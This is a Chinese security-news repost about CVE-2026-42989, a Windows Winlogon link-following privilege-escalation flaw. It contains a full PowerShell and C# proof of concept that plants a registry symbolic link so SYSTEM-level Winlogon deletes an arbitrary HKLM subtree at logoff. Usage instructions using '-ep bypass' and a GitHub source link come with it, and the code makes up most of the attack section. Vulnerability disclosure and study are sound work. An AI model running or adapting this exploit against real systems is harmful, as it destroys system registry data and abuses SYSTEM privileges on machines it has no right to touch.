CVE-2026-42989:Windows101607权限提升漏洞+POC"

admin 2026-10-21 15:15:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

CVE-2026-42989:Windows 10 1607 权限提升漏洞 + POC

Ots安全

2026年7月14日 13:28
广东

在小说阅读器读本章

去阅读

威胁简报

恶意软件

漏洞攻击

CVE-2026-42989 概述

CVE-2026-42989 是 Windows Winlogon 组件中的一个本地权限提升漏洞。该漏洞源于文件访问前链接解析不当,被归类为 [CWE-59]。经过身份验证的本地攻击者可以利用符号链接或硬链接重定向 Winlogon 执行的文件操作,而 Winlogon 本身以提升的权限运行。成功利用此漏洞后,攻击者即可提升受影响系统的权限。微软于 2026 年 6 月 9 日发布了此安全公告,涵盖受支持的 Windows 10、Windows 11 以及从 Server 2012 到 Server 2025 的 Windows Server 版本。

受影响产品

  • Microsoft Windows 10(1607、1809、21H2、22H2)
  • Microsoft Windows 11(23H2、24H2、25H2、26H1)
  • Microsoft Windows Server 2012、2012 R2、2016、2019、2022、2025

发现时间线

  • 2026年6月9日 - CVE-2026-42989 已发布至 NVD
  • 2026年6月11日 - NVD数据库中最后更新日期

CVE-2026-42989 的技术细节

漏洞分析

Winlogon 是 Windows 系统中负责交互式用户登录、配置文件加载和会话管理的组件。它在 SYSTEM 安全上下文中执行,因此它执行的任何文件操作都极易受到链接跟踪攻击。CVE-2026-42989 漏洞的存在是因为 Winlogon 在解析文件路径时,没有充分验证中间组件是符号链接、连接点还是由低权限用户控制的硬链接。

该漏洞属于 [CWE-59] 文件访问前链接解析不当漏洞。攻击者可以使用标准用户凭据在 Winlogon 进程稍后访问的路径中植入精心构造的链接,导致特权进程读取、写入或删除超出其预期范围的文件。最终结果是权限提升至 SYSTEM 级别。

根本原因

根本原因是特权文件操作期间文件系统重解析点的验证缺失或不足。Winlogon 信任 I/O 管理器返回的解析路径,而不是强制要求路径中的每个组成部分都是由受信任主体拥有的普通文件或目录。这是 Windows 特权服务中反复出现的问题,已在 [CWE-59] 中跟踪。

攻击向量

利用此漏洞需要本地访问权限和低权限身份验证。攻击者预先设置一个目录或文件位置,Winlogon 在正常操作期间会访问该位置,然后将路径元素替换或包装为指向敏感系统对象的符号链接、连接点或硬链接。当 Winlogon 执行文件操作时,I/O 操作将以 SYSTEM 权限在攻击者控制的目标上进行。无需用户交互。目前尚无公开的漏洞利用代码,且该漏洞未列入 CISA 已知已利用漏洞目录。

<#
================================================================================
 PoC - CVE-2026-42989 @w3bd3vil ( https://krashconsulting.com )
 Winlogon deletes the target registry subtree at session teardown.

 USAGE
   powershell -ep bypass .\\poc_cve_2026_42989.ps1 \"HKLM\\SOFTWARE\\TargetKey\"
   Then logout and restart PC.
================================================================================
#>
[CmdletBinding()]
param(
    [Parameter(Mandatory=$true, Position=0)]
    [string]$TargetPath
)

$ErrorActionPreference = 'Stop'

# ---- resolve target to native NT path -----------------------------------------
# Accept: HKLM:\\Software\\Foo or HKLM\\Software\\Foo or \\REGISTRY\\MACHINE\\...
if ($TargetPath -match '^HKLM:?\\\\?(.*)$') {
    $TargetRel = $Matches[1]
    $TargetNt = \"\\REGISTRY\\MACHINE\\$TargetRel\"
} elseif ($TargetPath -match '^\\\\REGISTRY\\\\') {
    $TargetNt = $TargetPath
} else {
    throw\"Unsupported path format. Use HKLM:\\Software\\Foo or \\REGISTRY\\MACHINE\\...\"
}

# ---- session / SAT key --------------------------------------------------------
$SessionId = (Get-Process -Id $PID).SessionId
$SatRel = \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\Session$SessionId\"
$SatWin32 = \"HKLM:\\$SatRel\"
$SubName = 'poc'
$LinkName = 'link'
$LinkNt = \"\\REGISTRY\\MACHINE\\$SatRel\\$SubName\\$LinkName\"

Write-Host \"[*] Session id : $SessionId\"
Write-Host \"[*] SAT key : $SatWin32\"
Write-Host \"[*] Target : $TargetNt\"

if (-not (Test-Path $SatWin32)) {
    throw\"SAT key not present. Log on interactively first (or press Win+U at logon UI).\"
}
if (-not (Test-Path $TargetPath)) {
    Write-Warning \"Target key does not exist yet. The link will still be planted.\"
}

# ---- C# native helpers --------------------------------------------------------
$cs = @'
using System;
using System.Runtime.InteropServices;
using System.Text;

public static class RegSymlink
{
    [StructLayout(LayoutKind.Sequential)]
    struct UNICODE_STRING { public ushort Length; public ushort MaximumLength; public IntPtr Buffer; }

    [StructLayout(LayoutKind.Sequential)]
    struct OBJECT_ATTRIBUTES {
        public int Length;
        public IntPtr RootDirectory;
        public IntPtr ObjectName;
        public uint Attributes;
        public IntPtr SecurityDescriptor;
        public IntPtr SecurityQualityOfService;
    }

    const uint OBJ_CASE_INSENSITIVE = 0x40;
    const uint REG_OPTION_VOLATILE = 0x1;
    const uint REG_OPTION_CREATE_LINK= 0x2;
    const int REG_LINK = 6;
    const uint KEY_SET_VALUE = 0x2;
    const uint KEY_CREATE_LINK = 0x20;

    static readonly IntPtr HKLM = new IntPtr(unchecked((int)0x80000002));

    [DllImport(\"ntdll.dll\")]
    static extern int NtCreateKey(out IntPtr KeyHandle, uint DesiredAccess, ref OBJECT_ATTRIBUTES oa,
                                  int TitleIndex, IntPtr Class, uint CreateOptions, out uint Disposition);
    [DllImport(\"ntdll.dll\")]
    static extern int NtSetValueKey(IntPtr KeyHandle, ref UNICODE_STRING ValueName, int TitleIndex,
                                    int Type, byte[] Data, int DataSize);
    [DllImport(\"ntdll.dll\")]
    static extern int NtClose(IntPtr h);

    static UNICODE_STRING US(string s) {
        UNICODE_STRING u = new UNICODE_STRING();
        u.Length = (ushort)(s.Length * 2);
        u.MaximumLength = (ushort)(s.Length * 2 + 2);
        u.Buffer = Marshal.StringToHGlobalUni(s);
        return u;
    }

    public static uint CreateLink(string linkNtPath, string targetNtPath) {
        UNICODE_STRING name = US(linkNtPath);
        IntPtr pName = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(UNICODE_STRING)));
        Marshal.StructureToPtr(name, pName, false);

        OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES();
        oa.Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES));
        oa.ObjectName = pName;
        oa.Attributes = OBJ_CASE_INSENSITIVE;

        IntPtr h; uint disp;
        int st = NtCreateKey(out h, KEY_SET_VALUE | KEY_CREATE_LINK, ref oa, 0, IntPtr.Zero,
                             REG_OPTION_CREATE_LINK | REG_OPTION_VOLATILE, out disp);
        Marshal.FreeHGlobal(name.Buffer);
        Marshal.FreeHGlobal(pName);
        if (st != 0) return (uint)st;

        UNICODE_STRING val = US(\"SymbolicLinkValue\");
        byte[] data = Encoding.Unicode.GetBytes(targetNtPath);
        int st2 = NtSetValueKey(h, ref val, 0, REG_LINK, data, data.Length);
        Marshal.FreeHGlobal(val.Buffer);
        NtClose(h);
        return (uint)st2;
    }
}
'@
if (-not ([Type]::GetType('RegSymlink', $false))) {
    Add-Type -TypeDefinition $cs | Out-Null
} else {
    Write-Host \"[*] RegSymlink type already loaded, skipping Add-Type.\"
}

# ---- create child subkey, grant ourselves KEY_CREATE_LINK ---------------------
Write-Host \"[*] Creating child subkey and granting KEY_CREATE_LINK...\"
$PocSubRel = \"$SatRel\\$SubName\"
[void][Microsoft.Win32.Registry]::LocalMachine.CreateSubKey(
    $PocSubRel,
    [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
    [Microsoft.Win32.RegistryOptions]::Volatile)
$rk = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
    $PocSubRel,
    [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
    [System.Security.AccessControl.RegistryRights]::ChangePermissions)
try {
    $me = [Security.Principal.WindowsIdentity]::GetCurrent().User
    $sec = $rk.GetAccessControl([System.Security.AccessControl.AccessControlSections]::Access)
    $rule = New-Object System.Security.AccessControl.RegistryAccessRule(
                $me,
                [System.Security.AccessControl.RegistryRights]::CreateLink,
                [System.Security.AccessControl.AccessControlType]::Allow)
    $sec.AddAccessRule($rule)
    $rk.SetAccessControl($sec)
} finally { $rk.Dispose() }
Write-Host \"[+] Child key ready.\"

# ---- plant the symlink --------------------------------------------------------
Write-Host \"[*] Planting registry symlink:\"
Write-Host \" $LinkNt\"
Write-Host \" --> $TargetNt\"
$st = [RegSymlink]::CreateLink($LinkNt, $TargetNt)
if ($st -ne 0) { throw (\"NtCreateKey/NtSetValueKey failed, NTSTATUS=0x{0:X8}\" -f $st) }
Write-Host \"[+] Symlink planted.\" -ForegroundColor Green

Write-Host \"\"
Write-Host \">>> shutdown /l and then Restart PC to check\" -ForegroundColor Yellow
Write-Host \" Winlogon (SYSTEM) will delete the SAT subtree and follow the link into:\" -ForegroundColor Yellow
Write-Host \" $TargetNt\" -ForegroundColor Yellow

https://github.com/omair2084/misc/blob/master/poc\_cve\_2026\_42989.ps1

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


CVE-2026-42989:Windows101607权限提升漏洞+POC" 网络安全文章

CVE-2026-42989:Windows101607权限提升漏洞+POC"

CVE-2026-42989是WindowsWinlogon组件中的本地权限提升漏洞,源于文件访问前链接解析不当(CWE-59)。经过身份验证的本地攻击者可通过符号链接或硬链接重定向Winlogon的文件操作,从而将权限提升至SYSTEM级别。该漏洞影响多个Windows版本,微软已于2026年6月9日发布安全公告。建议用户立即应用补丁,并限制本地访问权限。
AI赋能Jadx静态分析APK代码实战指南" 网络安全文章

AI赋能Jadx静态分析APK代码实战指南"

本文介绍如何利用AI工具(Trae和ClaudeCode)通过MCP协议或命令行方式增强Jadx的APK静态分析能力,实现自然语言驱动的代码搜索、逻辑分析和API提取,显著提升逆向效率。关键发现是MCP方式提供深度交互,命令行方式适合批量处理。
Telegram全球解析失效" 网络安全文章

Telegram全球解析失效"

本文标题声称Telegram全球解析失效,但实际正文内容仅为诱导用户点击前往某小说阅读器阅读该章节的引流信息,完全没有提供任何关于该网络安全事件的技术细节、原因分析、影响范围或应对建议,属于典型的标题党与垃圾信息,不具备任何安全参考价值。
Src捡钱12,AI一键自动挖掘小程序漏洞" 网络安全文章

Src捡钱12,AI一键自动挖掘小程序漏洞"

本文介绍了一个用于微信小程序安全评估的本地MCPServer工具,它通过包装WMPFDebugger的CDPWebSocket,辅助AI编码工具进行自动化漏洞挖掘。工具提供连接调试、网络采集、接口资产识别、漏洞线索发现及报告生成等功能,并强调仅限授权环境使用。建议用户遵循推荐工作流,先连接调试、注入Hook,再人工操作页面后利用工具分析线索,最后生成安全笔记。
评论:0   参与:  0